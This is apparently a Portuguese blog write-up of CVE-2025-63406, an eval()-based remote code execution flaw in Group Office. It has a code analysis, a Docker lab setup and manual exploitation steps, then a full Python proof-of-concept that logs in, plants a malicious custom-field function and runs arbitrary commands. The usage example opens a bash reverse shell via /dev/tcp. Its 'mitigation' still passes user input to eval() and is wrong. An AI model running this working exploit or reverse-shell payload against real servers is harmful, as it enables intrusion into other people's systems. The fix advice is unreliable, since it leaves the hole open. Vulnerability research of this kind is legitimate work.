CVE-2025-63406: RCE no Group Office via eval() (PoC)
PoC da CVE-2025-63406: execução remota de código no Group Office groupware via dbToApi() e eval() em FunctionField.php, antes das versões 25.0.47 e 6.8.136.
Descrição
Uma vulnerabilidade no CRM Group Office groupware nas versões anteriores à v.25.0.47 e 6.8.136 permitia que um atacante remoto executasse código arbitrário através das funções dbToApi() e eval() no arquivo FunctionField.php.
Análises
Indo atrás do arquivo FunctionField.php (…/www/go/core/customfield/FunctionField.php) e análisando o seu código, notamos o seguinte bloco de código:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function dbToApi($value, \go\core\orm\CustomFieldsModel $values, $entity): ?string
{
$f = $this->field->getOption("function");
$f = preg_replace_callback('/\\{([^}]*)\\}/', function ($matches) use ($entity) {
$cfs = $entity->getCustomFields(true);
return isset($cfs->{trim($matches[1])}) ? $cfs->{trim($matches[1])} : 0;
}, $f);
if (empty($f)) {
return null;
}
// Check for infinity @see CustomFieldsModel
if (strpos($f, "∞") !== false) {
return "∞";
}
$result = null;
try {
eval("\$result = " . $f . ";");
} catch (\Error $e) {
$result = null;
} catch (Exception $e) {
$result = null;
}
return $result;
}
Esse bloco é responsável por realizar os cálculos do parâmetro Function da função de criar CustomFields da aplicação. Olhando esse código, notamos de cara onde está ocorrendo a injeção de comandos:
1
try { eval("\$result = " . $f . ";"); }
O input do usuário está sendo enviado direto para dentro da função eval() do PHP, isso é um erro grave de segurança, pois com um simples payload conseguimos um RCE no servidor. Por exemplo:
1
; system('whoami'); // # No final ficaria: eval("\$result = ; system('whoami'); //)
Anexando assim, o output do comando na resposta que normalmente retornaria para o usuário.
Criando um Ambiente de Testes
Para criar um ambiente controlado para testes, estarei usando o próprio Docker do GroupOffice que está disponibilizado no Github.
Para subir esse Docker com a versão vulnerável, precisamos clonar o repositório e alterar o compose.yaml para a versão 25.0.46:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
services:
groupoffice:
image: intermesh/groupoffice:25.0.46
restart: always
ports:
- "9090:80"
links:
- db
volumes:
- "godata:/var/lib/groupoffice:cached"
- "goetc:/etc/groupoffice:cached"
# - "gostudio:/usr/local/share/groupoffice/go/modules/studio:cached"
- ./src/studio:/usr/local/share/groupoffice/go/modules/studio
# Example for ssl
# - "./config/ssl/groupoffice:/etc/ssl/groupoffice"
env_file:
- ./db.env
db:
image: mariadb:11.1.2
restart: always
env_file:
- ./db.env
environment:
MYSQL_ROOT_PASSWORD: groupoffice
MARIADB_AUTO_UPGRADE: 1
volumes:
- "dbdata:/var/lib/mysql:cached"
volumes:
godata:
goetc:
#gostudio:
dbdata:
Após isso, só usar o comando docker compose up -d para iniciar o Docker para nossos testes.
Replicando a Falha na Mão
Montando o Payload
Para replicar essa falha, precisaremos ter um usuário com permissão de criar CustomFields na aplicação.
Para criar um CustomField, precisamos ir em System Settings > Custom Fields > Edit Task
Nessa página iremos criar um novo FieldSet com qualquer nome. Após isso criaremos um Field Number para fins didáticos, e por fim criaremos um Field Function com o payload “{trash}; system(‘id’); // “:
No final, deverá ficar assim:
Triggando o Payload
Agora para finalmente triggarmos o RCE, precisamos apenas criar uma nova Task na aplicação:
Após salvar, recebemos o seguinte erro:
Isso ocorre porque a aplicação esperava um JSON na resposta do POST , porém como inserimos um RCE no Function , ele retornou um JSON quebrado.
Porém ao abrimos o Inspector , irmos em Network e tentar salvar a Task novamente, conseguimos obter o output do comando direto na resposta:
Conseguindo assim o RCE no GroupOffice.
Como Mitigar a Falha
Para mitigar essa falha, devemos alterar o código eval() para que o input do usuário não seja lido como um código:
1
try { eval("\$result = {$expr};"); }
Se você ainda utiliza o GroupOffice com uma versão anterior a v25.0.47, ATUALIZE IMEDIATAMENTE!!
PoC Automatizada
Escrevi um pequeno código em Python para explorar automaticamente essa falha e mostrar o output direto no CLI. Estarei anexando o código tanto aqui quanto no meu Github.
OBS: O AUTOR DESSE POST NÃO SE RESPONSABILIZA POR QUAISQUER USOS INDEVIDOS DESSE SCRIPT.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
import requests
import argparse
import json
import re
def escapeQuotes(s: str) -> str:
return s.replace("\\", "\\\\").replace("'", "\\'").replace('"', '\\"')
def normalizeUrl(url: str) -> str:
if not (url.startswith("http://") or url.startswith("https://")):
url = "http://" + url
return url.rstrip("/")
def extractFieldSetIfInState():
data = [["FieldSet/get", {}, "call1"]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
return response.json()[0][1]['state']
def extractFieldIfInState():
data = [["Field/get", {}, "call1"]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
return response.json()[0][1]['state']
def extractTaskIfInState():
data = [["Task/get", {}, ""]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
match = re.search(r'\[\[.*?\{.*?\}\].*\]', response.text, re.DOTALL)
if match:
json_str = match.group(0)
print("[+] Extracted JSON Successfully!")
jsonLoaded = json.loads(json_str)
return jsonLoaded[0][1]['state']
else:
print("[-] No JSON found in the Response.")
return None
return
def verifyIfPayloadAlreadyCreated() -> (bool, int | None):
data = [["FieldSet/get", {}, "call1"]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
item = next(
(i for entry in response.json() if len(entry) > 1
for i in entry[1].get("list", [])
if i.get("name", "").lower() == "payload"),
None
)
return (item is not None, int(item["id"]) if item else None)
def destroyPreviousPayload(id):
data = [["FieldSet/set",{"create":{},"update":{},"destroy":[str(id)],"ifInState":extractFieldSetIfInState()},"FieldSet_11"]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
print(f"[*] PAYLOAD ID {id} DESTROYED!")
def deleteTask(id):
data = [["Task/set",{"create":{},"update":{},"destroy":[str(id)],"ifInState":extractTaskIfInState()},"Task_9"]]
response = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=data)
print(f"[*] TASK ID {id} DESTROYED!")
BANNER = r"""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@ @@ @@@@@@@ . @@@@@@@ #@@@@@@@%. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@ . @@@@@@@ @@@@ @@@@@ @@@@ @@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@ @@@@@@@@@ @@@ %@@@@:*@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ @@@@@@@ @@@ @@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@ @@@@@@ @@@@ .@@@@@@@@ @@@ .@@@@@@@ @@@@ @ @@@@@@@@@@@@@@@ @@@@@@@
@@@@@ @@@@@@ @@@@-. @@@@@@@ . @@@@@ @@@@@@@@ *@@@ @@@@ . @@@@@
@@@@. @@@@@ @@@@@ @@@@@@@@@@ @@@@ @@@@@@@@@ @ -- @@@@ .@ @@@@
@@@@ @@@@@@ @@@@@@ @@@@@@@@@@ . . @@@@@@@@@ @@@@@@@@@@@@@ @ @@@@@
@@@@ @@@@@@ @@@@@ .@@@@@@@@@@@*@@@@@ @%@@@@@@@@@@@@@ *@@@@ @ @ @ @@@@@
@@@@- @@@@@@ @@@@ @@@@@@@@@@@@@:@@@@@@@@@@@@@@:@@@@@@ . @@@@@@ @@= @@@@@@
@@@@@ @@@@@@ @ @@@@@@@@@@@* %@@@@@@@@@@@@@@@*@@@@@ .@@@@@ @@@@@@@@@@@ @@@@@@@
@@@@@@ @@@@@@ @@@@@@@@@@#%@@@@@@@@@@@@@@@@@%@@@@@@@ @@@ @@@@@@@@@@ .@@@@@@@@
@@@@@@- @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@
@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@#==#@@@@@@@@@@@@@ @@ =@@@@@@@@@@@@@@@= @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@*.@@@@@@: @@@@@@@@@@@ @@@@@@@@@@@@@@@@ @@@@@@@@@@@
@@@@@@@@@ @@@@@@@@@@@@@@@@@ .%*@@@@@@ @@@@@@@@@.@@@@@@@@@@@@@@@@@@@@. @@@@@@@@@@@
@@@@@@@@ @ @ @@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@ .@@@@@@@@ @@@@@@@@@@@
@@@@@@@ : @@@@@- .@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@ @@# @@@@@@@@ @@@@@@@@@
@@@@@@@ @@@@ @@@@@@+@@@@@@@@@@@@ @@@@ @@@@@@@@@@ -@@@@@@
@@@@@@ @ . @@ @@@@@# .@@@@@@@@@@@@ @@@@@@@%@@@@ . @@@@@
@@@@@@ . @@@@@@% . *@@@@@@@ @@@ @@@@
@@@@@@ @@@ @ @ @ #@@@@@@@@@@@@@@@@@@ @ @@ @@@
@@@@@@ . . @ @ *@@@@@@@@@@@@@@@@@ @ @@
@@@@@@ @ @ @@@@ @ % @ @@@@@@@@@@ @@@@@%++#@@@@ :@@
@@@@@@@ @@@@@ @@ . . @ @ . @ . @@@@
@@@@@@@@@@@@@@@@@. @ @@@ @@@ @ @@ @@@@@@@@@@
@@@@@@@@@@@@@@@@@@ . @@@@@@@ .@ = @@@@@ . :@ +@@@@@@@@
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@ . @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@ PoC RCE for GroupOffice CVE-2025-63406. @@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ PoC by RiccK @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@ Bypassadores && HackersOnSteroids @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
"""
parser = argparse.ArgumentParser(
prog="CVE-2025-63406.py",
description=BANNER,
epilog="USAGE: python3 CVE-2025-63406.py -t http://host.com -u admin -p password -c \"/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'\"",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-t", "--target", type=normalizeUrl, required=True, help="Target URL")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("-c", "--command", type=escapeQuotes, required=True, help="Command to execute")
args = parser.parse_args()
URL_TARGET = args.target
API_TARGET = "/api/jmap.php"
AUTH_TARGET = "/api/auth.php"
try:
login = requests.get(URL_TARGET+AUTH_TARGET, timeout=5)
except requests.exceptions.RequestException:
print("[-] HOST NOT REACHABLE...")
exit(1)
print(BANNER)
print("[*] TRYING LOGIN...")
login = requests.post(URL_TARGET+AUTH_TARGET, json={'username':args.username, 'password':args.password})
if login.status_code == 404:
print("[-] HOST NOT REACHABLE...")
exit(1)
if login.status_code != 201:
print("[!] BAD USERNAME OR PASSWORD")
exit(1)
print("[+] LOGIN SUCCESSFUL!")
print("[+] GETTING COOKIES...")
cookies = {
'groupoffice':login.cookies.get('groupoffice'),
'accessToken':login.cookies.get('accessToken')
}
headers = {
'X-CSRF-Token':login.json().get('CSRFToken')
}
print("[*] CHECKING IF A PREVIOUS PAYLOAD EXISTS...")
exists, payload_id = verifyIfPayloadAlreadyCreated()
if exists == True:
print("[!] PREVIOUS PAYLOAD FOUND, STARTING PAYLOAD REMOVAL...")
destroyPreviousPayload(payload_id)
else:
print("[!] PREVIOUS PAYLOAD NOT FOUND, STARTING PAYLOAD CREATION...")
print("[*] CREATING THE FIELDSET...")
fieldSetData = [[ "FieldSet/set", {"create":{"ext-gen830":{"name":"payload","entity":"Task","isTab":False,"collapseIfEmpty":False,"parentFieldSetId":None,"description":"","columns":2,"acl":{"2":30}}}, "update":{},"destroy":[],"ifInState":extractFieldSetIfInState()}, "FieldSet_11"]]
createFieldSet = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=fieldSetData)
if createFieldSet.status_code == 200: print("[+] FIELDSET CREATED!")
fieldset_id = list(createFieldSet.json()[0][1]['created'].values())[0]['id']
print("[*] CREATING THE FIELD NUMBER...")
createNumberFieldData = [["Field/set",{"create":{"ext-gen965":{"fieldSetId":fieldset_id,"type":"Number","name":"trash","databaseName":"trash","hint":"","prefix":"","suffix":"","hiddenInGrid":True,"options":{"numberDecimals":2},"default":1,"unique":False,"required":False,"relatedFieldCondition":"","conditionallyRequired":False,"conditionallyHidden":False,"forceAlterTable":True}},"update":{},"destroy":[],"ifInState":extractFieldIfInState()},"Field_11"]]
createNumberField = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=createNumberFieldData)
if createNumberField.status_code == 200: print("[+] FIELD NUMBER CREATED!")
print("[*] CREATING THE FIELD FUNCTION...")
createFunctionData = [["Field/set",{"create":{"ext-gen1026":{"fieldSetId":fieldset_id,"type":"FunctionField","name":"rce","databaseName":"rce","hiddenInGrid":True,"options":{"numberDecimals":2,"function":"{trash}; system('"+ args.command +"'); //"},"forceAlterTable":True}},"update":{},"destroy":[],"ifInState":extractFieldIfInState()},"Field_11"]]
createFunction = requests.post(URL_TARGET+API_TARGET, cookies=cookies, headers=headers, json=createFunctionData)
if createFunction.status_code == 200: print("[+] FIELD FUNCTION CREATED!")
print("[*] TRIGGING PAYLOAD...")
triggerData = [["Task/set",{"create":{"ext-gen1117":{"title":"test","responsibleUserId":None,"tasklistId":"1","categories":[],"start":None,"due":None,"estimatedDuration":0,"progress":"needs-action","percentComplete":0,"priority":0,"description":"","alerts":{},"customFields":{"trash":1}}},"update":{},"destroy":[]},"Task_7"]]
trigger = requests.post(URL_TARGET+API_TARGET, json=triggerData, headers=headers, cookies=cookies)
json_start = trigger.text.find('[[')
if json_start == -1:
print("[-] No JSON found in the Response.")
exit()
rce_output = trigger.text[:json_start]
json_str = trigger.text[json_start:]
response_lines = rce_output.splitlines()
unique_lines = sorted(set(response_lines))
match = re.search(r'"id"\s*:\s*"(\d+)"', json_str)
if match:
task_id = match.group(1)
deleteTask(task_id)
else:
print("[-] ID Not Found.")
if trigger.status_code == 200:
print("[+] PAYLOAD TRIGGED!")
else:
print("ERROR")
print("\n[+] SERVER RESPONSE:\n")
for line in unique_lines:
print(line)








